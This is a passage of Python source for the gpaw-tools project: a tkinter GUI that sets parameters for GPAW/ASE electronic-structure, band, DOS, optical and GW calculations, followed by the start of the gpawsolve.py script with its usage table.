ttk.Frame(self.labelframe1)\n self.label1 = ttk.Label(self.frame6)\n self.label1.configure(text='Calculator')\n self.label1.pack(side='left')\n\n # Mode\n self.Modettk = ttk.Combobox(self.frame6)\n self.Modettk.configure(values=('PW', 'PW-GW', 'EXX', 'LCAO', 'FD'), state='readonly')\n self.Modettk.pack(side='top')\n self.Modettk.current(0)\n self.frame6.configure(height='200', width='200')\n self.frame6.pack(side='top')\n \n # Elastic_calc\n self.Elastic_calcttk = ttk.Checkbutton(self.labelframe1)\n Elastic_calcvar = BooleanVar()\n self.Elastic_calcttk.configure(state='normal', variable = Elastic_calcvar, onvalue=True, offvalue=False, takefocus=False, text='Elastic Calculation')\n self.Elastic_calcttk.pack(side='top')\n \n # DOS_calc\n self.DOS_calcttk = ttk.Checkbutton(self.labelframe1)\n DOS_calcvar = BooleanVar()\n self.DOS_calcttk.configure(state='normal', variable = DOS_calcvar, onvalue=True, offvalue=False, takefocus=False, text='DOS Calculation')\n self.DOS_calcttk.pack(side='top')\n \n # Band_calc\n self.Band_calcttk = ttk.Checkbutton(self.labelframe1)\n Band_calcvar = BooleanVar()\n self.Band_calcttk.configure(variable = Band_calcvar, onvalue=True, offvalue=False, text='Band Structure Calculation')\n self.Band_calcttk.pack(side='top')\n \n # Density_calc\n self.Density_calcttk = ttk.Checkbutton(self.labelframe1)\n Density_calcvar = BooleanVar()\n self.Density_calcttk.configure(variable = Density_calcvar, onvalue=True, offvalue=False,text='All-Electron Density Calculation')\n self.Density_calcttk.pack(side='top')\n \n # Optical_calc\n self.Optical_calcttk = ttk.Checkbutton(self.labelframe1)\n Optical_calcvar = BooleanVar()\n self.Optical_calcttk.configure(variable = Optical_calcvar, onvalue=True, offvalue=False, text='Optical Properties Calculation')\n self.Optical_calcttk.pack(side='top')\n self.labelframe1.configure(height='200', text='Calculator Settings', width='200')\n self.labelframe1.pack(side='left')\n # End Labelframe1 ---------------------------------------------------\n \n # Labelframe2: Electronic Calculation Parameters --------------------\n self.labelframe2 = ttk.Labelframe(self.frame5)\n \n # Maximum Force\n self.frame7 = ttk.Frame(self.labelframe2)\n self.label5 = ttk.Label(self.frame7)\n self.label5.configure(text='Maximum Force')\n self.label5.pack(side='left')\n self.fmaxvalttk = ttk.Entry(self.frame7)\n self.fmaxvalttk.delete('0', 'end')\n self.fmaxvalttk.insert('0', '0.05')\n self.fmaxvalttk.pack(side='top')\n self.frame7.configure(height='200', width='200')\n self.frame7.pack(side='top')\n \n # Fix symmetry during optimization?\n self.frameFix_symmetry = ttk.Frame(self.labelframe2)\n self.Fix_symmetryttk = ttk.Checkbutton(self.frameFix_symmetry)\n Fix_symmetryvar = BooleanVar()\n self.Fix_symmetryttk.configure(variable = Fix_symmetryvar, onvalue=True, offvalue=False, text='Fix Symmetry')\n self.Fix_symmetryttk.pack(side='top')\n self.frameFix_symmetry.configure(height='200', width='200')\n self.frameFix_symmetry.pack(side='top')\n\n # Cut-off energy\n self.frame8 = ttk.Frame(self.labelframe2)\n self.label6 = ttk.Label(self.frame8)\n self.label6.configure(text='Cut-off energy (eV)')\n self.label6.pack(side='left')\n self.cut_off_energyttk = ttk.Entry(self.frame8)\n self.cut_off_energyttk.delete('0', 'end')\n self.cut_off_energyttk.insert('0', '340')\n self.cut_off_energyttk.pack(side='top')\n self.frame8.configure(height='200', width='200')\n self.frame8.pack(side='top')\n\n # K-points\n self.frame9 = ttk.Frame(self.labelframe2)\n self.label7 = ttk.Label(self.frame9)\n self.label7.configure(text='K-points (x,y,z)')\n self.label7.pack(side='left')\n self.kpts_xttk = ttk.Entry(self.frame9)\n self.kpts_xttk.configure(width='4')\n self.kpts_xttk.delete('0', 'end')\n self.kpts_xttk.insert('0', '1')\n self.kpts_xttk.pack(side='left')\n self.kpts_yttk = ttk.Entry(self.frame9)\n self.kpts_yttk.configure(width='4')\n self.kpts_yttk.delete('0', 'end')\n self.kpts_yttk.insert('0', '1')\n self.kpts_yttk.pack(side='left')\n self.kpts_zttk = ttk.Entry(self.frame9)\n self.kpts_zttk.configure(width='4')\n self.kpts_zttk.delete('0', 'end')\n self.kpts_zttk.insert('0', '1')\n self.kpts_zttk.pack(side='top')\n self.frame9.configure(height='200', width='200')\n self.frame9.pack(side='top')\n \n # Gamma\n self.frame23 = ttk.Frame(self.labelframe2)\n self.Gammattk = ttk.Checkbutton(self.frame23)\n Gammavar = BooleanVar()\n self.Gammattk.configure(variable = Gammavar, onvalue=True, offvalue=False, text='Gamma Included?')\n self.Gammattk.pack(side='top')\n self.frame23.configure(height='200', width='200')\n self.frame23.pack(side='top')\n \n # Band path\n self.frame10 = ttk.Frame(self.labelframe2)\n self.label8 = ttk.Label(self.frame10)\n self.label8.configure(text='Band Path (G:for Gamma)')\n self.label8.pack(side='left')\n self.band_pathttk = ttk.Entry(self.frame10)\n self.band_pathttk.delete('0', 'end')\n self.band_pathttk.insert('0', 'G')\n self.band_pathttk.pack(side='top')\n self.frame10.configure(height='200', width='200')\n self.frame10.pack(side='top')\n\n # Number of points\n self.frame11 = ttk.Frame(self.labelframe2)\n self.label9 = ttk.Label(self.frame11)\n self.label9.configure(text='# of points between symmetry points')\n self.label9.pack(side='left')\n self.band_npointsttk = ttk.Entry(self.frame11)\n self.band_npointsttk.delete('0', 'end')\n self.band_npointsttk.insert('0', '40')\n self.band_npointsttk.pack(side='top')\n self.frame11.configure(height='200', width='200')\n self.frame11.pack(side='top')\n\n # Maximum Energy\n self.frame12 = ttk.Frame(self.labelframe2)\n self.label10 = ttk.Label(self.frame12)\n self.label10.configure(text='Maximum energy')\n self.label10.pack(side='left')\n self.energy_maxttk = ttk.Entry(self.frame12)\n self.energy_maxttk.delete('0', 'end')\n self.energy_maxttk.insert('0', '10')\n self.energy_maxttk.pack(side='top')\n self.frame12.configure(height='200', width='200')\n self.frame12.pack(side='top')\n\n # Hubbard\n self.frameHubbard = ttk.Frame(self.labelframe2)\n self.labelHubbard = ttk.Label(self.frameHubbard)\n self.labelHubbard.configure(text='Hubbard Params.({} for none):')\n self.labelHubbard.pack(side='left')\n self.Hubbardttk = ttk.Entry(self.frameHubbard)\n self.Hubbardttk.delete('0', 'end')\n self.Hubbardttk.insert('0', '{}')\n self.Hubbardttk.pack(side='top')\n self.frameHubbard.configure(height='200', width='200')\n self.frameHubbard.pack(side='top')\n\n # XC\n self.frame14 = ttk.Frame(self.labelframe2)\n self.label11 = ttk.Label(self.frame14)\n self.label11.configure(text='Exchange Correlation (PBE0 and HSE06 are for EXX)')\n self.label11.pack(side='left')\n self.XC_calcttk = ttk.Combobox(self.frame14)\n self.XC_calcttk.configure(values=('LDA', 'PBE', 'GLLBSC', 'revPBE', 'RPBE' , 'PBE0', 'HSE06'), state='readonly')\n self.XC_calcttk.pack(side='top')\n self.XC_calcttk.current(0)\n self.frame14.configure(height='200', width='200')\n self.frame14.pack(side='top')\n\n # Ground_convergence\n self.frameGround_convergence = ttk.Frame(self.labelframe2)\n self.labelGround_convergence = ttk.Label(self.frameGround_convergence)\n self.labelGround_convergence.configure(text='Convergence for ground calc ({} for def):')\n self.labelGround_convergence.pack(side='left')\n self.Ground_convergencettk = ttk.Entry(self.frameGround_convergence)\n self.Ground_convergencettk.delete('0', 'end')\n self.Ground_convergencettk.insert('0', '{}')\n self.Ground_convergencettk.pack(side='top')\n self.frameGround_convergence.configure(height='200', width='200')\n self.frameGround_convergence.pack(side='top')\n \n # Band_convergence\n self.frameBand_convergence = ttk.Frame(self.labelframe2)\n self.labelBand_convergence = ttk.Label(self.frameBand_convergence)\n self.labelBand_convergence.configure(text='Convergence for band calc ({} for def):')\n self.labelBand_convergence.pack(side='left')\n self.Band_convergencettk = ttk.Entry(self.frameBand_convergence)\n self.Band_convergencettk.delete('0', 'end')\n self.Band_convergencettk.insert('0', \"{'bands':8}\")\n self.Band_convergencettk.pack(side='top')\n self.frameBand_convergence.configure(height='200', width='200')\n self.frameBand_convergence.pack(side='top')\n \n # Occupation\n self.frameOccupation = ttk.Frame(self.labelframe2)\n self.labelOccupation = ttk.Label(self.frameOccupation)\n self.labelOccupation.configure(text='Occupation ({} for def):')\n self.labelOccupation.pack(side='left')\n self.Occupationttk = ttk.Entry(self.frameOccupation)\n self.Occupationttk.delete('0', 'end')\n self.Occupationttk.insert('0', \"{'name': 'fermi-dirac', 'width': 0.05}\")\n self.Occupationttk.pack(side='top')\n self.frameOccupation.configure(height='200', width='200')\n self.frameOccupation.pack(side='top')\n \n # DOS number of points\n self.frameDOS_npoints = ttk.Frame(self.labelframe2)\n self.labelDOS_npoints = ttk.Label(self.frameDOS_npoints)\n self.labelDOS_npoints.configure(text='DOS number of points')\n self.labelDOS_npoints.pack(side='left')\n self.DOS_npointsttk = ttk.Entry(self.frameDOS_npoints)\n self.DOS_npointsttk.delete('0', 'end')\n self.DOS_npointsttk.insert('0', '501')\n self.DOS_npointsttk.pack(side='top')\n self.frameDOS_npoints.configure(height='200', width='200')\n self.frameDOS_npoints.pack(side='top')\n\n # DOS smearing width\n self.frameDOS_width = ttk.Frame(self.labelframe2)\n self.labelDOS_width = ttk.Label(self.frameDOS_width)\n self.labelDOS_width.configure(text='DOS smearing (0.0 for tetrahedron)')\n self.labelDOS_width.pack(side='left')\n self.DOS_widthttk = ttk.Entry(self.frameDOS_width)\n self.DOS_widthttk.delete('0', 'end')\n self.DOS_widthttk.insert('0', '0.1')\n self.DOS_widthttk.pack(side='top')\n self.frameDOS_width.configure(height='200', width='200')\n self.frameDOS_width.pack(side='top')\n\n # Spin polarized?\n self.frame15 = ttk.Frame(self.labelframe2)\n self.Spin_calcttk = ttk.Checkbutton(self.frame15)\n Spin_calcvar = BooleanVar()\n self.Spin_calcttk.configure(variable = Spin_calcvar, onvalue=True, offvalue=False, text='Spin-polarized calculation')\n self.Spin_calcttk.pack(side='top')\n self.frame15.configure(height='200', width='200')\n self.frame15.pack(side='top')\n\n # Magmom_per_atom\n self.frameMagmom_per_atom = ttk.Frame(self.labelframe2)\n self.labelMagmom_per_atom = ttk.Label(self.frameMagmom_per_atom)\n self.labelMagmom_per_atom.configure(text='Magnetic moment per atom')\n self.labelMagmom_per_atom.pack(side='left')\n self.Magmom_per_atomttk = ttk.Entry(self.frameMagmom_per_atom)\n self.Magmom_per_atomttk.delete('0', 'end')\n self.Magmom_per_atomttk.insert('0', '1.0')\n self.Magmom_per_atomttk.pack(side='top')\n self.frameMagmom_per_atom.configure(height='200', width='200')\n self.frameMagmom_per_atom.pack(side='top')\n \n # Grid size\n self.frame16 = ttk.Frame(self.labelframe2)\n self.label13 = ttk.Label(self.frame16)\n self.label13.configure(text='Grid size for electron density calc')\n self.label13.pack(side='left')\n self.gridrefttk = ttk.Entry(self.frame16)\n self.gridrefttk.delete('0', 'end')\n self.gridrefttk.insert('0', '4')\n self.gridrefttk.pack(side='top')\n self.frame16.configure(height='200', width='200')\n self.frame16.pack(side='top')\n self.labelframe2.configure(height='200', text='Electronic Calculation Parameters', width='200')\n self.labelframe2.pack(side='left')\n # End labelframe2 ------------------------------------------\n \n # labelframe3: Optical Calculation Parameters --------------\n self.labelframe3 = ttk.Labelframe(self.frame5)\n\n # opttype\n self.frameopttype = ttk.Frame(self.labelframe3)\n self.labelopttype = ttk.Label(self.frameopttype)\n self.labelopttype.configure(text='Optical Calculation Method')\n self.labelopttype.pack(side='left')\n self.opttypettk = ttk.Combobox(self.frameopttype)\n self.opttypettk.configure(values=('BSE', 'RPA'), state='readonly')\n self.opttypettk.pack(side='top')\n self.opttypettk.current(0)\n self.frameopttype.configure(height='200', width='200')\n self.frameopttype.pack(side='top')\n \n # optshift\n self.frameoptshift = ttk.Frame(self.labelframe3)\n self.labeloptshift = ttk.Label(self.frameoptshift)\n self.labeloptshift.configure(text='Energy shifting in eV')\n self.labeloptshift.pack(side='left')\n self.optshiftttk = ttk.Entry(self.frameoptshift)\n self.optshiftttk.delete('0', 'end')\n self.optshiftttk.insert('0', '0.0')\n self.optshiftttk.pack(side='top')\n self.frameoptshift.configure(height='200', width='200')\n self.frameoptshift.pack(side='top')\n \n # optBSEvb\n self.frameoptBSEvb = ttk.Frame(self.labelframe3)\n self.labeloptBSEvb = ttk.Label(self.frameoptBSEvb)\n self.labeloptBSEvb.configure(text='Valance bands(use range()):')\n self.labeloptBSEvb.pack(side='left')\n self.optBSEvbttk = ttk.Entry(self.frameoptBSEvb)\n self.optBSEvbttk.delete('0', 'end')\n self.optBSEvbttk.insert('0', 'range(0,4)')\n self.optBSEvbttk.pack(side='top')\n self.frameoptBSEvb.configure(height='200', width='200')\n self.frameoptBSEvb.pack(side='top')\n \n # optBSEcb\n self.frameoptBSEcb = ttk.Frame(self.labelframe3)\n self.labeloptBSEcb = ttk.Label(self.frameoptBSEcb)\n self.labeloptBSEcb.configure(text='Conduction bands(use range()):')\n self.labeloptBSEcb.pack(side='left')\n self.optBSEcbttk = ttk.Entry(self.frameoptBSEcb)\n self.optBSEcbttk.delete('0', 'end')\n self.optBSEcbttk.insert('0', 'range(4,7)')\n self.optBSEcbttk.pack(side='top')\n self.frameoptBSEcb.configure(height='200', width='200')\n self.frameoptBSEcb.pack(side='top')\n \n # optBSEminEn\n self.frameoptBSEminEn = ttk.Frame(self.labelframe3)\n self.labeloptBSEminEn = ttk.Label(self.frameoptBSEminEn)\n self.labeloptBSEminEn.configure(text='Min. En. for BSE calc.')\n self.labeloptBSEminEn.pack(side='left')\n self.optBSEminEnttk = ttk.Entry(self.frameoptBSEminEn)\n self.optBSEminEnttk.delete('0', 'end')\n self.optBSEminEnttk.insert('0', '0.0')\n self.optBSEminEnttk.pack(side='top')\n self.frameoptBSEminEn.configure(height='200', width='200')\n self.frameoptBSEminEn.pack(side='top')\n \n # optBSEmaxEn\n self.frameoptBSEmaxEn = ttk.Frame(self.labelframe3)\n self.labeloptBSEmaxEn = ttk.Label(self.frameoptBSEmaxEn)\n self.labeloptBSEmaxEn.configure(text='Max. En. for BSE calc.')\n self.labeloptBSEmaxEn.pack(side='left')\n self.optBSEmaxEnttk = ttk.Entry(self.frameoptBSEmaxEn)\n self.optBSEmaxEnttk.delete('0', 'end')\n self.optBSEmaxEnttk.insert('0', '20.0')\n self.optBSEmaxEnttk.pack(side='top')\n self.frameoptBSEmaxEn.configure(height='200', width='200')\n self.frameoptBSEmaxEn.pack(side='top')\n \n # optBSEnumdata\n self.frameoptBSEnumdata = ttk.Frame(self.labelframe3)\n self.labeloptBSEnumdata = ttk.Label(self.frameoptBSEnumdata)\n self.labeloptBSEnumdata.configure(text='Number of data points')\n self.labeloptBSEnumdata.pack(side='left')\n self.optBSEnumdatattk = ttk.Entry(self.frameoptBSEnumdata)\n self.optBSEnumdatattk.delete('0', 'end')\n self.optBSEnumdatattk.insert('0', '1001')\n self.optBSEnumdatattk.pack(side='top')\n self.frameoptBSEnumdata.configure(height='200', width='200')\n self.frameoptBSEnumdata.pack(side='top')\n \n #num_of_bands\n self.frame17 = ttk.Frame(self.labelframe3)\n self.label14 = ttk.Label(self.frame17)\n self.label14.configure(text='Number of bands')\n self.label14.pack(side='left')\n self.num_of_bandsttk = ttk.Entry(self.frame17)\n self.num_of_bandsttk.delete('0', 'end')\n self.num_of_bandsttk.insert('0', '16')\n self.num_of_bandsttk.pack(side='top')\n self.frame17.configure(height='200', width='200')\n self.frame17.pack(side='top')\n\n #optFDsmear\n self.frame18 = ttk.Frame(self.labelframe3)\n self.label15 = ttk.Label(self.frame18)\n self.label15.configure(text='Fermi-Dirac smearing value')\n self.label15.pack(side='left')\n self.optFDsmearttk = ttk.Entry(self.frame18)\n self.optFDsmearttk.delete('0', 'end')\n self.optFDsmearttk.insert('0', '0.05')\n self.optFDsmearttk.pack(side='top')\n self.frame18.configure(height='200', width='200')\n self.frame18.pack(side='top')\n\n #opteta\n self.frame19 = ttk.Frame(self.labelframe3)\n self.label16 = ttk.Label(self.frame19)\n self.label16.configure(text='Eta value')\n self.label16.pack(side='left')\n self.optetattk = ttk.Entry(self.frame19)\n self.optetattk.delete('0', 'end')\n self.optetattk.insert('0', '0.05')\n self.optetattk.pack(side='top')\n self.frame19.configure(height='200', width='200')\n self.frame19.pack(side='top')\n\n #optdomega0\n self.frame20 = ttk.Frame(self.labelframe3)\n self.label17 = ttk.Label(self.frame20)\n self.label17.configure(text='Domega0 value')\n self.label17.pack(side='left')\n self.optdomega0ttk = ttk.Entry(self.frame20)\n self.optdomega0ttk.delete('0', 'end')\n self.optdomega0ttk.insert('0', '0.02')\n self.optdomega0ttk.pack(side='top')\n self.frame20.configure(height='200', width='200')\n self.frame20.pack(side='top')\n\n #optnblocks\n self.frame21 = ttk.Frame(self.labelframe3)\n self.label18 = ttk.Label(self.frame21)\n self.label18.configure(text='n-blocks number')\n self.label18.pack(side='left')\n self.optnblocksttk = ttk.Entry(self.frame21)\n self.optnblocksttk.delete('0', 'end')\n self.optnblocksttk.insert('0', '4')\n self.optnblocksttk.pack(side='top')\n self.frame21.configure(height='200', width='200')\n self.frame21.pack(side='top')\n\n #optomega2\n self.frameoptomega2 = ttk.Frame(self.labelframe3)\n self.labeloptomega2 = ttk.Label(self.frameoptomega2)\n self.labeloptomega2.configure(text='omega2')\n self.labeloptomega2.pack(side='left')\n self.optomega2ttk = ttk.Entry(self.frameoptomega2)\n self.optomega2ttk.delete('0', 'end')\n self.optomega2ttk.insert('0', '0.05')\n self.optomega2ttk.pack(side='top')\n self.frameoptomega2.configure(height='200', width='200')\n self.frameoptomega2.pack(side='top')\n \n #optecut\n self.frameoptecut = ttk.Frame(self.labelframe3)\n self.labeloptecut = ttk.Label(self.frameoptecut)\n self.labeloptecut.configure(text='Cut-off en. for opt.')\n self.labeloptecut.pack(side='left')\n self.optecutttk = ttk.Entry(self.frameoptecut)\n self.optecutttk.delete('0', 'end')\n self.optecutttk.insert('0', '100')\n self.optecutttk.pack(side='top')\n self.frameoptecut.configure(height='200', width='200')\n self.frameoptecut.pack(side='top')\n \n self.labelframe3.configure(height='200', text='Optical Calculation Parameters', width='200')\n self.labelframe3.pack(side='left')\n self.frame5.configure(height='200', width='200')\n self.frame5.pack(side='top')\n # End labelframe3 ------------------------------------------\n \n # labelframe4: Frame for strain-shear ----------------------\n self.frame13 = ttk.Frame(self.frame4)\n self.labelframe4 = ttk.Labelframe(self.frame13)\n self.frame22 = ttk.Frame(self.labelframe4)\n self.EpsXttk = ttk.Checkbutton(self.frame22)\n EpsXvar = BooleanVar()\n self.EpsXttk.configure(variable = EpsXvar, onvalue=True, offvalue=False, text='EpsX')\n self.EpsXttk.pack(side='top')\n self.EpsYttk = ttk.Checkbutton(self.frame22)\n EpsYvar = BooleanVar()\n self.EpsYttk.configure(variable = EpsYvar, onvalue=True, offvalue=False, text='EpsY')\n self.EpsYttk.pack(side='top')\n self.EpsZttk = ttk.Checkbutton(self.frame22)\n EpsZvar = BooleanVar()\n self.EpsZttk.configure(variable = EpsZvar, onvalue=True, offvalue=False, text='EpsZ')\n self.EpsZttk.pack(side='top')\n self.ShearYZttk = ttk.Checkbutton(self.frame22)\n ShearYZvar = BooleanVar()\n self.ShearYZttk.configure(variable = ShearYZvar, onvalue=True, offvalue=False, text='ShearYZ')\n self.ShearYZttk.pack(side='top')\n self.ShearXZttk = ttk.Checkbutton(self.frame22)\n ShearXZvar = BooleanVar()\n self.ShearXZttk.configure(variable = ShearXZvar, onvalue=True, offvalue=False, text='ShearXZ')\n self.ShearXZttk.pack(side='top')\n self.ShearXYttk = ttk.Checkbutton(self.frame22)\n ShearXYvar = BooleanVar()\n self.ShearXYttk.configure(variable = ShearXYvar, onvalue=True, offvalue=False, text='ShearXY')\n self.ShearXYttk.pack(side='top')\n self.frame22.configure(height='200', width='200')\n self.frame22.pack(side='top')\n self.labelframe4.configure(height='200', text='Strain Relaxation', width='200')\n self.labelframe4.pack(side='left')\n # End labelframe4 ------------------------------------------------\n \n # GWframe: Frame for GW parameters -------------------------------\n self.GWframe = ttk.Frame(self.frame4)\n self.labelGWframe = ttk.Labelframe(self.GWframe)\n\n # GWtype\n self.frameGWtype = ttk.Frame(self.labelGWframe)\n self.labelGWtype = ttk.Label(self.frameGWtype)\n self.labelGWtype.configure(text='GW type')\n self.labelGWtype.pack(side='left')\n self.GWtypettk = ttk.Combobox(self.frameGWtype)\n self.GWtypettk.configure(values=('GW0', 'G0W0'), state='readonly')\n self.GWtypettk.pack(side='top')\n self.GWtypettk.current(0)\n self.frameGWtype.configure(height='200', width='200')\n self.frameGWtype.pack(side='top')\n\n # GWkpoints\n self.frameGWkpoints = ttk.Frame(self.labelGWframe)\n self.labelGWkpoints = ttk.Label(self.frameGWkpoints)\n self.labelGWkpoints.configure(text='GW K-points change as list [[kix,kiy,kiz],...]')\n self.labelGWkpoints.pack(side='left')\n self.GWkpointsttk = tk.Entry(self.frameGWkpoints)\n self.GWkpointsttk.delete('0', 'end')\n self.GWkpointsttk.insert('0', '[[0.0,0.0,0.0]]')\n self.GWkpointsttk.pack(side='top')\n self.frameGWkpoints.configure(height='200', width='200')\n self.frameGWkpoints.pack(side='top')\n\n # GWtruncation\n self.frameGWtruncation = ttk.Frame(self.labelGWframe)\n self.labelGWtruncation = ttk.Label(self.frameGWtruncation)\n self.labelGWtruncation.configure(text='GW truncation')\n self.labelGWtruncation.pack(side='left')\n self.GWtruncationttk = ttk.Combobox(self.frameGWtruncation)\n self.GWtruncationttk.configure(values=(None, '2D', '1D', '0D', 'wigner-seitz'), state='readonly')\n self.GWtruncationttk.pack(side='top')\n self.GWtruncationttk.current(4)\n self.frameGWtruncation.configure(height='200', width='200')\n self.frameGWtruncation.pack(side='top')\n\n # GWcut_off_energy\n self.frameGWcut_off_energy = ttk.Frame(self.labelGWframe)\n self.labelGWcut_off_energy = ttk.Label(self.frameGWcut_off_energy)\n self.labelGWcut_off_energy.configure(text='Cut-off en. for opt.')\n self.labelGWcut_off_energy.pack(side='left')\n self.GWcut_off_energyttk = ttk.Entry(self.frameGWcut_off_energy)\n self.GWcut_off_energyttk.delete('0', 'end')\n self.GWcut_off_energyttk.insert('0', '100')\n self.GWcut_off_energyttk.pack(side='top')\n self.frameGWcut_off_energy.configure(height='200', width='200')\n self.frameGWcut_off_energy.pack(side='top')\n\n # GWbandVB\n self.frameGWbandVB = ttk.Frame(self.labelGWframe)\n self.labelGWbandVB = ttk.Label(self.frameGWbandVB)\n self.labelGWbandVB.configure(text='Valence band number')\n self.labelGWbandVB.pack(side='left')\n self.GWbandVBttk = ttk.Entry(self.frameGWbandVB)\n self.GWbandVBttk.delete('0', 'end')\n self.GWbandVBttk.insert('0', '8')\n self.GWbandVBttk.pack(side='top')\n self.frameGWbandVB.configure(height='200', width='200')\n self.frameGWbandVB.pack(side='top')\n\n # GWbandCB\n self.frameGWbandCB = ttk.Frame(self.labelGWframe)\n self.labelGWbandCB = ttk.Label(self.frameGWbandCB)\n self.labelGWbandCB.configure(text='Conduction band number')\n self.labelGWbandCB.pack(side='left')\n self.GWbandCBttk = ttk.Entry(self.frameGWbandCB)\n self.GWbandCBttk.delete('0', 'end')\n self.GWbandCBttk.insert('0', '8')\n self.GWbandCBttk.pack(side='top')\n self.frameGWbandCB.configure(height='200', width='200')\n self.frameGWbandCB.pack(side='top')\n\n # GWppa\n self.GWppattk = ttk.Checkbutton(self.labelGWframe)\n GWppavar = BooleanVar()\n self.GWppattk.configure(variable = GWppavar, onvalue=True, offvalue=False, text='Plasmon Pole Approximation')\n self.GWppattk.pack(side='top')\n\n # GWq0correction\n self.GWq0correctionttk = ttk.Checkbutton(self.labelGWframe)\n GWq0correctionvar = BooleanVar()\n self.GWq0correctionttk.configure(variable = GWq0correctionvar, onvalue=True, offvalue=False, text='Analytic correction to the q=0 contribution')\n self.GWq0correctionttk.pack(side='top')\n\n # GWnblock\n self.GWnblockttk = ttk.Checkbutton(self.labelGWframe)\n GWnblockvar = BooleanVar()\n self.GWnblockttk.configure(variable = GWnblockvar, onvalue=True, offvalue=False, text='Cuts chi0 into as many blocks to reduce mem.')\n self.GWnblockttk.pack(side='top')\n\n # GWbandinterpolation\n self.GWbandinterpolationttk = ttk.Checkbutton(self.labelGWframe)\n GWbandinterpolationvar = BooleanVar()\n self.GWbandinterpolationttk.configure(variable = GWbandinterpolationvar, onvalue=True, offvalue=False, text='Spline draw fpr bands? (needs min. 3 points)')\n self.GWbandinterpolationttk.pack(side='top')\n \n self.labelGWframe.configure(height='200', text='GW Parameters (Only applicable when Basis = PW-GW', width='200')\n self.labelGWframe.pack(side='left')\n self.GWframe.configure(height='200', width='200')\n self.GWframe.pack(side='left')\n # End GWframe ---------------------------------------------\n \n # labelframe5: Other Parameters ---------------------------\n self.labelframe5 = ttk.Labelframe(self.frame13)\n\n # Restart calculation\n self.restartttk = ttk.Checkbutton(self.labelframe5)\n restartvar = BooleanVar()\n self.restartttk.configure(variable = restartvar, onvalue=True, offvalue=False, text='Restart calculation from file')\n self.restartttk.pack(side='top')\n \n self.labelframe5.configure(height='200', text='General options', width='200')\n self.labelframe5.pack(side='top')\n self.frame13.configure(height='200', width='200')\n self.frame13.pack(side='left')\n self.frame4.configure(height='200', width='200')\n self.frame4.pack(side='top')\n # End labelframe5 -------------------------------------------\n \n self.notebookUpper.add(self.frame4, state='normal', text='Input Parameters')\n \n # ------------- Calculate tab -----------------\n self.frame3 = ttk.Frame(self.notebookUpper)\n \n # MPI core number\n self.frame25 = ttk.Frame(self.frame3)\n self.label21 = ttk.Label(self.frame25)\n self.label21.configure(text='MPI core number')\n self.label21.pack(side='left')\n self.MPIcoresttk = ttk.Entry(self.frame25)\n self.MPIcoresttk.delete('0', 'end')\n self.MPIcoresttk.insert('0', '1')\n self.MPIcoresttk.pack(side='top')\n self.frame25.configure(height='200', width='200')\n self.frame25.pack(side='top')\n \n # Start calculation\n self.frame26 = ttk.Frame(self.frame3)\n self.button3 = ttk.Button(self.frame26)\n self.button3.configure(text='Start calculation')\n self.button3.pack(side='top')\n self.button3.configure(command=onCalculate)\n self.frame26.configure(height='200', width='200')\n self.frame26.pack(side='top')\n \n # Log text box\n self.frame27 = ttk.Frame(self.frame3)\n self.text4 = tk.Text(self.frame27)\n self.text4.configure(height='50', width='120')\n self.text4.insert('0.0', 'gpawsolve.py stdout log: \\n')\n self.text4.pack(side='top')\n self.frame27.configure(height='200', width='200')\n self.frame27.pack(side='top')\n \n self.frame3.configure(height='200', width='200')\n self.frame3.pack(side='top')\n self.notebookUpper.add(self.frame3, text='Calculate')\n\n # --------------- About box -------------------\n self.frame24 = ttk.Frame(self.notebookUpper)\n self.text2 = tk.Text(self.frame24)\n self.text2.configure(background='#4f4f4f', foreground='#ffffff', height='14', undo='false')\n self.text2.configure(width='60', wrap='char')\n _text_ = '''GG (gpaw-tools & gui)\n=======================\nGG is a graphical user interface (GUI) for a \ngpawsolve.py script, which aims simple and\nexpediting calculations with GPAW/ASE codes.\n\nFor licensing information, please refer to LICENSE file.'''\n self.text2.insert('0.0', _text_)\n self.text2.pack(side='left')\n self.button1 = ttk.Button(self.frame24, text='gpaw-tools website', command=lambda aurl=url:OpenUrl(aurl))\n self.gg_fullsmall_png = tk.PhotoImage(file=os.path.join(PROJECT_PATH,'gui_files/gpaw-tools.png'))\n self.button1.configure(image=self.gg_fullsmall_png, state='normal')\n self.button1.pack(side='left')\n self.frame24.configure(height='200', width='900')\n self.frame24.pack(side='top')\n self.notebookUpper.add(self.frame24, text='About')\n self.notebookUpper.configure(height='600', width='900')\n self.notebookUpper.pack(fill='x', side='top')\n \n # Message log\n self.notebookBottom = ttk.Notebook(self.frame2)\n self.text1 = tk.Text(self.notebookBottom)\n self.text1.configure(background='#000000', foreground='#ffffff', height='10', width='50')\n _text_ = '''Program started.\\n'''\n self.text1.insert('0.0', _text_)\n self.text1.pack(side='top')\n self.notebookBottom.add(self.text1, text='Message Log')\n self.notebookBottom.configure(height='100', width='900')\n self.notebookBottom.pack(fill='x', side='top')\n self.frame2.configure(height='800', width='900')\n self.frame2.pack(fill='both', side='top')\n self.gg_png = tk.PhotoImage(file=os.path.join(PROJECT_PATH,'gui_files/gpaw-tools.png'))\n self.toplevel1.configure(height='800', width='900')\n self.toplevel1.iconphoto(True, self.gg_png)\n self.toplevel1.resizable(False, False)\n self.toplevel1.title('gpaw-tools GUI')\n\n # Main widget\n self.mainwindow = self.toplevel1\n\n\n def run(self):\n '''Running the mainloop'''\n self.mainwindow.mainloop()\n\nif __name__ == '__main__':\n app = gg()\n app.run()\n", "id": "1409326", "language": "Python", "matching_score": 5.373890399932861, "max_stars_count": 6, "path": "gg.py" }, { "content": "#!/usr/bin/env python\n\n'''\ngpawsolve.py: High-level Interaction Script for GPAW\nMore information: $ gpawsolve.py -h\n'''\n\nDescription = f''' \n Usage: \n $ mpirun -np <corenumbers> gpawsolve.py <args>\n -------------------------------------------------------------\n Calculation selector\n -------------------------------------------------------------\n | Method | XCs | Structure optim. | Spin polarized | Ground | Elastic | DOS | DFT+U | Band | Electron Density | Optical |\n | ------ | ------------------- | ---------------- | -------------- | ------ | ------- | --- | ----- | ---- | ---------------- | ------- |\n | PW | Local and LibXC | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes |\n | PW | GLLBSC / M | No | Yes | Yes | Yes | Yes | No | Yes | Yes | Yes |\n | PW | HSE03, HSE06 | No | Yes | Yes | n/a | Yes | No | No | No | No |\n | PW-G0W0| Local and LibXC | No | No | Yes | No | No | No | Some | No | No |\n | PW-EXX*| B3LYP, PBE0 | Yes (with PBE) | No | Yes | No | No | No | No | No | No |\n | LCAO | Local and LibXC | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | No |\n *: Just some ground state energy calculations.\n'''\n\nimport getopt, sys, os\nimport textwrap\nimport requests\nimport pickle\nimport spglib as 